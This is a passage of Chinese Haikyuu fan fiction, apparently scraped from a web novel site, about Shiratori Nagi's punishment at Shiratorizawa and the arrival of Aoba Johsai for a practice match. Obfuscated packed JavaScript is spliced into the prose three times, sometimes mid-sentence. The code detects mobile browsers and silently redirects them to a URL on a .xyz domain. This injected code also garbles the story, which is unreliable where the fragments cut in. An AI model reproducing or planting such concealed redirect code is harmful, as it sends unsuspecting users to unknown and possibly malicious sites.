他咬牙切齿：“你是跑去藏王狐狸村看狐狸去了吗？” 白鸟凪扭头问日向翔阳：“这里是白石市？” 藏王狐狸村，坐落于宫城县白石市，有上百只放养狐狸。 日向翔阳张张嘴，小声道：“不，这里还是仙台市……只不过是临镇而已。” 白鸟前辈你是从白鸟泽跑过来的？？那个隔了一座山的白鸟泽学园？！ 好强，白鸟前辈好强！ 白鸟凪咽了咽口水，尾巴都翘不起来了：“……大冢学长，我可以狡辩。” 大冢雅人：“你说，我在听。” 白鸟凪：…… 怎么说？难道要说自己太享受跑步的乐趣，一不小心跨了个山吗？ 白鸟凪老实巴交：“我马上回去。” 大冢雅人微笑：“我在白鸟泽体育馆等你。” 带队训练丢了个学弟……这下是真的丢人了！ 大冢雅人咬牙切齿的想，下次长跑训练的时候，在白鸟腰上栓条绳吧，省着这混蛋后辈一声不吭的跑丢了！ 二哈一样撒手就没的后辈没有人权，给他套上绳子训练！ 濑见英太小声道：“大冢学长身上的怨气好重。” 山形隼人小声回答：“你要是在训练时丢个后辈，你的怨气也会很重。” 幸好大冢学长有“迷路方案”，大家倒是没有很着急，只是一直在等电话响。 “拴着阿凪是个好主意。”鹫匠锻治走过来，脸色阴沉：“若利，从明天开始，你负责遛阿凪。” 天童觉眨眨眼：刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15194862|164125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚鹫匠教练用了“遛”这个动词对吧？ 牛岛若利平静道：“是，鹫匠教练。” 天童觉：若利也很轻松的答应了。 好奇怪，白鸟泽的每个人都好奇怪。 ……但他很喜欢这种奇怪。 一个小时后…… “我、我回来了！” 体育馆大门被突然打开，白鸟凪站在门口扶着门框，大口大口的喘着气。 就算人已经累成微死的状态了，白鸟凪还不忘维持自己帅气的风度，努力靠在门框边凹造型：“超额完成训练任务——哎呦！” 天童觉上前两步，伸出手指，轻轻一戳…… 白鸟凪就像是被打破平衡的面条一样软趴趴的倒下了。 天童觉抬手，将白鸟凪挂在臂弯里，拖进体育馆。 白鸟凪手长腿长，四肢软趴趴的拖在地上，给人一种莫名的萧瑟感。 天童觉颠了颠臂弯里的白鸟凪，作为一名副攻手，他虽然扣不出如若利那样势不可挡的扣球，但挂一个标准体重的少年还是没问题的——毕竟拦网也需要强劲的臂力。 他将白鸟凪拖到众人中央，然后将手臂抽离。 白鸟凪“啪叽”一下落地，融化成了一滩人。 虽然很不合时宜，但濑见英太的第一反应却是：这下阿凪应该嚣张不起来了吧！ 没想到以orz形态瘫在地上的白鸟凪竟然缓缓举起一只手臂，比了个耶：“我，往返一座山！” 掌声在哪里！ 白鸟泽众：……好嚣张的阿凪！ 完全没有在反省啊！ 年近70的鹫匠锻治沉默着撸起袖子。 掌声没有，降鸟十八掌有。 今天他就要倚老卖老，暴揍这个不知悔改的混蛋小子了！ 齐藤明连忙伸手阻拦：“不至于不至于，不要和笨蛋生气，气坏身体无人替……” 他一边拦着鹫匠教练，一边想起他和鹫匠教练前往黑丰中学时，那个斜刘海妹妹头少年。 说出了和那个少年一样的话呢…… 齐藤明心情复杂。 白鸟凪究竟气得多少人心律不齐？为什么那个斜刘海妹妹头能如此熟练？ 白鸟凪你作恶多端！ 瘫在地上的白鸟凪十分有自知之明，喘过气来后就老老实实的跪坐在地板上，语气诚恳：“我错了。” “我不应该在不熟悉周围环境的时候脱离队伍——我在回来前围着学校转了一圈，现在已经摸清白鸟泽周围的路线了！” 白鸟凪一边认错一边不知悔改：“让大家担心了，我很抱歉！” 一番话听得大家心情像坐过山车一样复杂。 白鸟凪知错了吗？知错了。 白鸟凪改了吗？如改。 他没有反省自己训练时脱离队伍，以至于迷路到山的那边海的那边差点当上蓝精灵，而是认为自己对周围地图加载不足，解决的办法是在周边跑了一圈，完成了地图拓展。 ……槽点好多，压得白鸟泽众抬不起头。 齐藤明：鹫匠教练所说的两个白鸟相性不合我还没看出来，但这个白鸟的搞事能力我已经深刻见识到了。 难怪鹫匠教练对白鸟又爱又恨。 20. 溜人君 最终，白鸟凪被罚一个人打扫整个体育馆——接下来的训练，他也不被允许参加。 面对白鸟凪惨兮兮的双眼，鹫匠锻治表现得十分冷酷，完全没有半分动摇。 在山上跑了一个来回，回来后还想参加训练？给他老老实实的瘫在一边反省吧！ 白鸟凪：已瘫好，求训练。 直到部活结束，白鸟凪也没机会摸到排球。 馋排球的白鸟凪在一旁用眼神骚扰鹫匠教练。 鹫匠锻治：很好，看来“禁止训练”这一招勉强能够制服住这个性格过分自我的臭小鬼。 白鸟凪在黑丰排球部时拥有着最大的话语权，连教练也会下意识征询白鸟凪的意见，这让白鸟凪很习惯跳过教练做出决定。 比如这次跑步训练，白鸟凪完全没听他对训练过程的要求和大冢雅人这个学长的挽留，自顾自的跑掉了。 这并不能说明白鸟凪没有礼貌、不尊重前辈和教练，只是他习惯了自己做决定，自己为自己的决定负责。 鹫匠锻治其实很喜欢自我主张鲜明的选手，敢于做出决定并承担后果，这本身就是一个很珍贵的品格。 但再自我的人也应该受到规则的约束，无限制的自我只会让他不知不觉的偏离航线。 “我就知道，这是个麻烦的小鬼。”鹫匠锻治声音细不可闻，只有他自己才能听见： “我和他之间，争夺关于赛场的话语权，这仅仅是个开始。” 鹫匠锻治那双凶悍的眼睛里飞速闪过一抹锐利的光彩。 在这场没有硝烟的战斗中，他绝对不会输。 部活结束后，高年级的选手们全部离开，一年级的选手们主动选择留下来，陪白鸟凪一起完成“惩罚”。 白鸟凪看着大家自觉拿起抹布和拖布，哭笑不得道：“鹫匠教练离开前可是强调过，谁都不许帮我。” 嘴上这样说着，心里却是小天鹅神气叉腰。 同期们太爱我了怎么办.jpg 濑见英太拿起排球车里的排球，开始擦拭： “学长们都没有留下来‘监工’，就说明他们默认了大家可以帮忙——麻烦你不要露出‘天呐我好感动你们好爱我’的表情可以吗！” 濑见英太擦排球的手不由自主的加重力道，咬牙切齿道：“会做噩梦的，晚上绝对会做噩梦的！” 白鸟凪摇头，叹气：“我身边的傲娇浓度太高了……你们这样撞人设的话，我会很难办的。” 他做捧心状：“我想给你们独一无二的爱啊～” 众人齐刷刷的打了个寒战，整齐的后退了一步，就连“面瘫脸”牛岛若利的表情都变得复杂起来。 而白鸟凪泰然自若，仿佛说出肉麻话的人并不是他一样。 七个包子续的电量终于耗尽，白鸟凪摸了摸咕噜咕噜叫的肚子，想先去翻翻自己的运动包。 昨天是他忘了准备，今天他已经将零食塞进运动包了。 然而没等他迈开步子，他的同期们像是变魔术一样，纷纷从不知道哪个位置摸出来了各种各样的零食。 对上白鸟凪呆滞的表情，山形隼人轻咳一声：“你说的，你不挑食。” 大平狮音晃了晃手里的小面包：“你昨天似乎很喜欢吃这个。” 濑见英太十分庆幸自己早有准备：“吃东西的时候不要说话。” 用零食堵上白鸟凪的嘴！ 添川仁笑着拿出一盒牛奶：“我猜他们会给你带些充饥的食物，所以准备了饮品。” 牛岛若利也默不作声的将手里的牛肉干塞给白鸟凪：“到门口去吃。” 对于“不能在体育馆吃东西”这一条规则，他很坚持。 天童觉更是变出了白鸟凪最喜欢的那款巧克力：“补充能量果然还是巧克力最棒～” 白鸟凪迷迷糊糊的抱着一兜子零食来到体育馆门口，一边恍惚的嚼嚼嚼，一边思考。 他好像从一个很幸福的地方走进了另一个很幸福的地方。 “我们阿凪是为了感受幸福而出生的。” 记忆深处的温柔缓缓包裹住了白鸟凪，白鸟凪啃着牛肉干，鼻尖酸酸的。 “什么嘛……就算是白鸟大人的魅力确实无人能挡，这群家伙也好过头了吧！” 白鸟凪咕咚咕咚的喝了两口牛奶。 “充电完成！”白鸟凪转身，帅气比耶：“我来完成白鸟大人的惩罚！” 他拿起一个拖布，开始超高效率的完成清洁工作。 众人看着干劲十足的白鸟凪，手上的动作不由得加快了几分。 不远处，鹫匠锻治听着体育馆里传来的欢声笑语，无奈的摇摇头。 或许白鸟凪并没有说大话，这家伙就是拥有能够将一切都团结起来的力量。 “周日安排队内排位赛，周六的话……约一场练习赛吧。” 鹫匠锻治平静吩咐道：“让一年级们提前磨合一下。” 齐藤明应声：“是，鹫匠教练。” 鹫匠锻治双手背在身后，慢慢向自己家的方向走去。 就让他看看，指挥型主攻手和他的同期们，能碰撞出怎样的火花吧。 另一边，向寝室方向走的大冢雅人正在思考明天该用什么材质的绳子栓白鸟。 手机铃声响起，他随意接通：“你好，这里是大冢雅人。” 电话另一头，响起一道沁着阳光的声音：“您好，我是日向翔阳，您可以给我白鸟前辈的联系方式吗？” 大冢雅人：……？ 白鸟，你在外面干了什么？？？ …… 白鸟凪几人打扫完体育馆后便回到了寝室。 一个陌生的来电让他眼睛一亮。 “你好，这里是白鸟～”白鸟凪接通电话。 电话另一头，听到这个声音的日向翔阳突然放松下来，少年爽朗的声音响起： “白鸟前辈，这是我的通讯号！” 未来请多指教。 天童觉：明中观察ing…… 小天鹅又跑出去乐于助人了。 —— 周五的部活时间，鹫匠锻治通知选手们按时参加周六的练习赛和周日的队内排位赛。 一年级选手们猛的精神一振：练习赛！ 白鸟凪举手：“鹫匠教练，对手是谁？” 鹫匠锻治对上白鸟凪那双神采奕奕的眼睛，缓缓出声道：< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15200496|164125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“宫城县，青叶城西。” 白鸟凪嘴角扬起一个夸张的弧度，那双过于明亮的茶金色眼睛里闪烁着明灭不定的光芒。 及川，岩泉。 好久不见啊。 天童觉瞥了一眼兴奋过度的白鸟凪，语气有些奇怪：“你好像很期待？” 白鸟凪笑容灿烂得近乎可怕：“我可太期待了，这可是我和及岩升上高中后的第一战呢。” 这就是宿敌吧，上高中后的第一场正式练习赛，刚好就是和他有着长达三年恩怨纠葛的及川和岩泉。 白鸟凪拳头梆硬。 天童觉想起黑丰和北川第一战绩，恍然。 白鸟凪总是很骄傲很自信，很容易让人忘记他被压制的三年。 天童觉摩挲着缠了绷带的食指和中指，随即缓缓握紧拳头。 他在排球上的心情，感受快乐的优先级甚至要高于胜负欲——不然他就会按照教练所说的那种，稍微改变一下拦网的风格，让自己的拦网体系融合胜率更高的应变拦网了。 而现在，他的胜负欲稍微上升了些。 “及川和岩泉吗……多拦下他们几球，小天鹅大概会很开心。”他小声嘟囔着，除了他自己，没有人听见。 这是天童觉快乐投喂！要给白鸟凪投喂多多的快乐，白鸟凪才能开心成长呀～ 天童觉有自己的饲养思路！ 白鸟饲养员天童觉初现端倪，而白鸟凪对此一无所觉。 鹫匠锻治完成通知后，随意的摆了摆手：“开始训练。” 一军二军分开，大冢雅人看着白鸟凪这个又可爱又可气的后辈，露出了一个优雅又不失礼貌的微笑。 白鸟凪后背一凉，整个人顿时警惕的后退两步，眼神还茫然着：“大、大冢学长？” 大冢雅人笑容不变，只是不知道从哪摸出来一条麻绳，一边向白鸟凪的方向走，一边拽了拽绳子，示意他这麻绳非常坚固耐用。 白鸟凪想跑。 大冢学长突然变得好可怕！ 大冢雅人轻描淡写道：“牛岛、大平，摁住他。” 牛岛若利和大平狮音沉默着出手。 白鸟凪体力超强、速度也快，但唯一的弱点就是——力气不够大。 被两个力5摁住，白鸟凪努力保持自己的帅气，眨眨眼：“大冢学长，你不会是要拿这个麻绳绑住我吧？” 大冢雅人笑意加深：“答对，奖励麻绳一条！” 白鸟凪：……这才不是什么奖励啊喂！我又不是什么有特殊癖好的家伙！ 他挣扎了一下，摁着他的手纹丝不动。 白鸟凪就像是被卡住脖子的鹅一样弱小、可怜又无助。 最终，大冢雅人手里的麻绳还是套在了白鸟凪的身上。 白鸟凪看着腰间缠了一圈的麻绳，又看了看麻绳的另一段——在牛岛若利的左手里。 “我们白鸟泽可真是太先进了……”白鸟凪恍惚：“已经发展到遛人的级别了吗？” 就、就算他确实是撒手没，但他已经摸清楚周围的路线了，绝对不会再迷路的！ 牛岛若利抖了抖绳子：“走吧，去训练。” 这下跑不掉了吧。 21. 失礼君 白鸟泽学园周围多了一道靓丽的风景。 这个风景名为《白鸟泽的遛白鸟日常》。 牛岛若利和白鸟凪的配速差不多，所以白鸟凪并没有感觉到被束缚，相反，他在适应了麻绳的存在后，还觉得挺有趣的。 “白鸟大人就是这样与众不同！”白鸟凪做万岁状向前狂奔，牛岛若利瘫着脸在后边抓着绳子跑。 白鸟凪跑了没多久，突然感受到腰间传来一股强大的拉力，他尝试着挣扎了两下，腰上的绳子纹丝不动，只能徒劳的原地踏步。 白鸟凪回头，牛岛若利正面无表情的扯着绳子：“已经三圈了。” 二军的训练强度不够，牛岛若利想，他得尽快升到一军。 他和白鸟凪一样，对长跑训练意犹未尽。 白鸟凪颇有些不尽兴的委屈，回体育馆的路上不断向天童觉碎碎念：“小红小红，我们什么时候才能升到一军？” 天童觉眨眨眼：“小白小白，我们后天就能升上一军了。” “小红小红，我想现在就进一军！” “小白小白，现在不可以进一军。” 两人毫无营养的对话听得一年级众满头黑线。 不要车轱辘话来回说啊喂！碎碎念再久也不可能立刻升上一军的！ 一旁的高年级则是若有所思的看向“小白小红”。 他们对于自己会升上一军这件事毫无疑问呢…… 后辈们可真厉害啊。 强者为尊的白鸟泽，可不会有什么“他们才一年级就这么嚣张真是不尊敬前辈”这样的想法。 强大与否和他们的年龄没有任何关系，如果占尽了年龄的便宜还输给后辈的话，只能说明自己技不如人，没有任何可辩驳的余地。 身为前辈能做的，就是努力，不断的努力——哪怕最终被后辈超越，他们也能真心实意的说一句“尽力了”，并为后辈们送上掌声。 鹫匠锻治很快就意识到，无论是一军还是二军，高年级们的训练热情都大大提升，整个体育馆里的空气中充满了斗志与胜负欲。 “被追赶的危机感。”齐藤明感叹道：“真是很努力呢，大家。” 鹫匠锻治沉默。 努力有意义吗？ 当然有。 但努力在天赋面前，太渺小了。 鹫匠锻治看着体育馆里燃烧热血的少年们，像是在看一个个曾经的自己。 “排球场上，不是天赋至上，也不是努力至上，而是实力至上。”鹫匠锻治缓缓出声：“希望他们……” 努力过后，终有收获。 他崇尚天生的体格、高度和力量，这些都是出生时便被赋予的财富。 可他心底深处，或许始终在期待着“努力打败天赋”的奇迹。 鹫匠锻治的目光落在白鸟凪的身上。 白鸟凪说自己是天才。 可他的所有成就，全部都是努力换来的。 会出现吗，努力打败天赋的奇迹？ …… 周六，青叶城西准时到达白鸟泽排球部专用体育馆。 及川彻双手插兜，走在队伍的最末尾。 “白鸟那混蛋学习成绩这么好？”他小声嘀咕：“白鸟泽偏差值和青叶城西差不多吧！” 可能还要更高一点？ 岩泉一站在他身边慢吞吞的向前走：“白鸟长得很聪明。” 及川彻撇撇嘴：“只是长得聪明而已，我还以为白鸟那家伙的脑子都用来换这张聪明脸了。” 岩泉一：……及川你好会骂。 他身边大多都是一起从北川第一升学到青叶城西的同期——入畑教练对北川第一批量发出了体育特招。 毕竟这两所学校很近，大部分北川第一的学生都会选择升学到青叶城西。 前北川第一三年级、现如今的青城一年级生松川一静想了想，说道：“白鸟在排球场上很聪明。” “不，他在排球场上可不是什么聪明。”及川彻嘴角微动，表情一沉：“应该是阴险狡诈、诡计多端、心黑手狠、坏得冒泡、一肚子坏水……” 花卷贵大：“……及川，你在自我介绍吗？” 及川彻顿时露出被冤枉的表情：“明明是白鸟啦白鸟！我才不会这样！” 花卷贵大目移：“你们两个隔网勾心斗角的时候，我也在。” 你们两个半斤八两。 及川彻轻咳一声，转移话题：“不知道白鸟这家伙和白鸟泽的人相处怎么样。” 岩泉一一语道破他的小心思：“你是想说‘不知道白鸟和牛若有没有打起来’吧！” 及川彻理直气壮：“白鸟那种当惯了团队核心的人，怎么可能受得了另一个绝对的团队核心？” 不是他吹，整个宫城县，能够和白鸟相辅相成的二传手只有他及川彻！ 换成另一个二传手，要么就是白鸟凪主动收敛锋芒服从二传手，要么就是白鸟凪从二传手中夺走指挥权柄，没有第三种可能！ 黑丰的那个叫白布的斜刘海妹妹头，就将自己身为二传手的全部指挥权都交给了白鸟凪，所以黑丰这支队伍在赛场上才能运转的如此顺利。 想想看吧，白鸟泽的绝对核心牛岛若利就是个一力降十会的炮台，他对托球只有一个要求，那就是完全服务于他的扣球。 什么战术？什么配合？扣对手一个满面桃花开就好了。 如果白鸟泽的队伍里再加上一个很有自我个性的二传手、一个不听从指挥的副攻手…… 及川彻露出了幸灾乐祸的表情： “白鸟凪这家伙，本身就是个活在自己世界里的个性，又一头扎进了以发挥选手个人实力而闻名的白鸟泽，闹出什么样的事都不稀奇吧！” 岩泉一有点头痛：“将你的幸灾乐祸收敛一点。” 他也有些担心白鸟凪和白鸟泽的相处，毕竟白鸟凪是完完全全的技术型并团队型的主攻手，如果队友不配合他的话，他的实力就会大打折扣。 虽然理论上白鸟凪和牛岛若利能完成“指挥塔”和“主炮”的绝赞搭配，但……战术重心完全落在牛岛若利身上的白鸟泽，真的会让白鸟凪完成这套“双核战术”吗？ 今天的练习赛，或许能看出些什么吧。 “……咳，现在转学也还来得及。”花卷贵大低咳一声，有些不自在道：“白鸟这家伙，和我们青城还是很搭的。” “花酱，这话可别当着白鸟的面说。”及川彻认真道：“虽然白鸟是个傻瓜，但听到这种话也是会生气的。” 就像牛若那混蛋邀请他去白鸟泽一样。 及川彻以己度人，所以从来没有对白鸟说过“别考白鸟泽了你应该来青城”这样的话。 即使他心里是这样想的，他也从来没有当着白鸟的面说出口过。 这是属于及川彻的温柔。 花卷贵大反应过来，挠挠头：“抱歉，谢谢你及川。” 没有及川的提醒，他可能真的要到白鸟面前贴脸开大了。 及川彻话锋一转：“不过如果他自己决定转学到青城的话，我们青城的大门还是愿意为他打开的。” 岩泉一：……说一千道一万，你还是很馋白鸟。 双指挥体系，这是及川彻对于他和白鸟凪的配合预想。 “喂！你们几个快点跟上！”一个青城三年级转头，语气有点凶：“别在后面嘀嘀咕咕的。” 他身边的青城排球部队长给了他一拳：“和后辈们好好说话！趾高气昂些什么呢？” 凶巴巴的青城三年级撇撇嘴：“啧，就你是好好前辈，行了吧？” 青城队长又给了他一拳狠的：“嘴别欠！” 及川彻表情有些复杂，但还是示意同期们跟上去。 这个三年级学长的嘴确实欠。 青城众人刚迈进白鸟泽体育馆，一个白色的光便嗖的一下向他们飞过来。 还没等青城众人摆出防御的姿态，白光在距离他们两三米的位置，突然停了下来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15203769|164125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 及川彻定睛一看，正在原地踏步的白鸟凪腰间缠着一根麻绳，麻绳已经被绷得笔直，麻绳的另一段被牛若握在了手里。 《牛若遛鹅图》 及川彻爆笑出声：“哈哈哈哈白鸟你这家伙终于被拴住了吗哈哈哈哈——” 及川彻，笑撅过去了。 岩泉一无奈，伸手拎着及川彻，和遛鹅的牛岛若利四目相对。 霎时间，火光四溅。 白鸟凪大大方方的展示自己腰间的麻绳，语气十分得意：“你个臭孔雀懂什么？这可是大家对我独一无二的爱！” 及川彻噶的一声止住笑意：“……什么？” 白鸟凪指了指及川：“你没有。” 他又指了指自己的麻绳：“我有！” 及川彻：……这是什么好东西吗？？ 但白鸟凪那得意又嚣张的样子，看得及川彻一肚子火。 “岩酱！明天你也栓我！”及川彻脑子一丢，开始和白鸟凪进行最原始最幼稚的较量。 岩泉一：…… 可以确定的是，他的幼驯染及川也是个拿脑子换脸的笨蛋。 青城众：…… 白鸟泽众：…… 好像两个都是笨蛋，不确定，再看看。 牛岛若利看了看及川，又看了看白鸟，选择了拽紧绳子。 及川没挖来也就算了，别把白鸟也丢了。 另一边，两个教练也是老对手相见分外眼红，阴阳怪气加精准打击，让两人之间火药味十足。 很快的，两支队伍进入准备阶段。 “小红，要一起去厕所吗？” “走吧。” 牛岛若利郑重的将手中的绳子交给天童觉：“白鸟就交给你了。” 一旁的濑见英太嘴角微动：“请不要说得像是嫁女儿一样好吗！” 牛岛若利平静：“我没有在嫁女儿。” 濑见英太：…… 最终天童觉还是“牵着”白鸟凪去上厕所了。 及川彻在一旁笑得猛捶花卷贵大。 花卷贵大：？ 及川你什么毛病？ …… 白鸟凪一边洗手一边欣赏镜子里完美无缺的自己，怎么看怎么满意。 天童觉眼角余光一扫，就知道白鸟凪又沉浸在自己的世界里无法自拔了。 他用手帕擦干手，将白鸟凪腰间麻绳的另一段重新握回手里，慢条斯理的将绳子在自己的手腕上系了一个松松垮垮的蝴蝶结。 天童觉晃了晃自己的手腕，对自己的手艺十分满意。 “白鸟凪？就是那个被及川赢了三年的黑丰主将吧？” “你说话可真刻薄……” “事实而已——我看过白鸟凪的比赛，那家伙实力还不错，只可惜被没用的队友拖了后腿。” 那声音还在继续：“哈，恐怕白鸟凪自己也是这么想的，所以才会加入选手个人实力突出的白鸟泽——” 少年惊恐的瞪大眼睛，看着眼前面无表情薅住他衣领的白发少年。 “你在对我的队友们说些什么混账话呢？” 他那张无论何时都带着三分笑意的眼睛，此刻冷得像是结了冰一样，上扬的嘴角也扯平，精致俊秀的脸上什么情绪都没有： “黑丰排球部的每一个人，都是我白鸟凪为之骄傲的队友。” “请尊重他们的努力，并收回你刚刚的话，好吗？” 被抓着衣领提起的少年还想嘴硬，可对上那双冷漠的眼睛时，他突然后颈发凉，低声道：“我、我很抱歉。” 白鸟凪定定的看了他许久，才慢慢松开手，用指尖一下又一下的抚平他衣领上的褶皱： “失礼了，前辈。” 少年第一次听到如此令人毛骨悚然“前辈”。 天童觉看着自己空空荡荡的手腕。 在白鸟凪迈出第一步时，他就解开了手腕上的蝴蝶结。 他不会成为束缚天鹅翅膀的绳索。